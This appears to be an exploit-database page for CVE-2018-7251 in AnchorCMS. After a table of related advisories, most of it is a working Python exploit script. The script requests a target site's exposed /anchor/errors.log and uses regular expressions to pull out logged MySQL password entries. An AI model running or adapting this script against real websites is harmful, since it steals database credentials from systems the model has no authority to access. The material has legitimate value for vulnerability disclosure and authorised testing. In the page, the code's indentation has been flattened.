AnchorCMS < 0.12.3a - Information Disclosure in Error Log. Malicious users can access the error log containing sensitive MySQL password information
Reporter | Title | Published | Views | Family All 12 |
---|---|---|---|---|
![]() | AnchorCMS 0.12.3a - Information Disclosure | 3 Oct 201900:00 | – | exploitpack |
![]() | Anchor CMS Logs Credentials | 13 May 202201:39 | – | osv |
![]() | CVE-2018-7251 | 19 Feb 201822:29 | – | osv |
![]() | Anchor CMS Logs Credentials | 13 May 202201:39 | – | github |
![]() | Information Exposure | 19 Feb 201800:00 | – | gitlab |
![]() | CVE-2018-7251 | 19 Feb 201822:29 | – | nvd |
![]() | Anchor CMS 0.12.3a Information Disclosure | 3 Oct 201900:00 | – | packetstorm |
![]() | Anchor CMS 0.12.3 - Error Log Exposure | 9 Jan 202114:45 | – | nuclei |
![]() | CVE-2018-7251 | 19 Feb 201822:29 | – | cve |
![]() | CVE-2018-7251 | 19 Feb 201822:00 | – | cvelist |
# Exploit Title: Information disclosure (MySQL password) in error log
# Date: 2/10/2019
# Exploit Author: Tijme Gommers (https://twitter.com/finnwea/)
# Vendor Homepage: https://anchorcms.com/
# Software Link: https://github.com/anchorcms/anchor-cms/releases
# Version: 0.12.3a
# Tested on: Linux
# CVE : CVE-2018-7251
# By default, AnchorCMS will log errors to the "/anchor/errors.log" file in the webroot of the web application. This allows malicious users to access the error log and view potentally sensitive information. Sometimes the AnchorCMS error log contains ocurrences of the MySQL error "Can't connect to MySQL server on 'xxx.xxx.xxx.xxx' (111)". When this error occurs the variables of the MySQL connector class are serialized into a JSON object and logged to the error log.
import re
import sys
import importlib
def get_plain(url):
try:
plain_result = requests.get(url=url)
return plain_result
except:
return None
def print_usage():
print('Usage: {0} <url>'.format(__file__))
if __name__ == '__main__':
# Ensure we have the URL
if len(sys.argv) != 2:
print_usage()
sys.exit(1)
print("* Using AnchorCMS website: " + sys.argv[1])
print("* Trying to import 'requests' module")
requests_loader = importlib.util.find_spec('requests')
requests_module_found = requests_loader is not None
if requests_module_found:
import requests
else:
print("* 'requests' module not found, please install it using pip")
print("* pip install requests")
sys.exit(1)
json_url = sys.argv[1].strip("/") + "/anchor/errors.log"
print("* Trying to get errors.log file at: {}".format(json_url))
plain_result = get_plain(json_url)
if plain_result == None:
print("* URL could not be requested, errors.log is probably not exposed")
sys.exit(1)
print("* Found data {}, trying to parse it now".format(plain_result))
lines = re.findall(r'"line":\d', plain_result.text)
print("* Found {} error entries".format(len(lines)))
passwords = re.findall(r'\[([^\[\]]*)"password"([^\[\]]*)\]', plain_result.text)
print("* Found {} passwords entries".format(len(passwords)))
for password in passwords:
print("+ {}".format(password))
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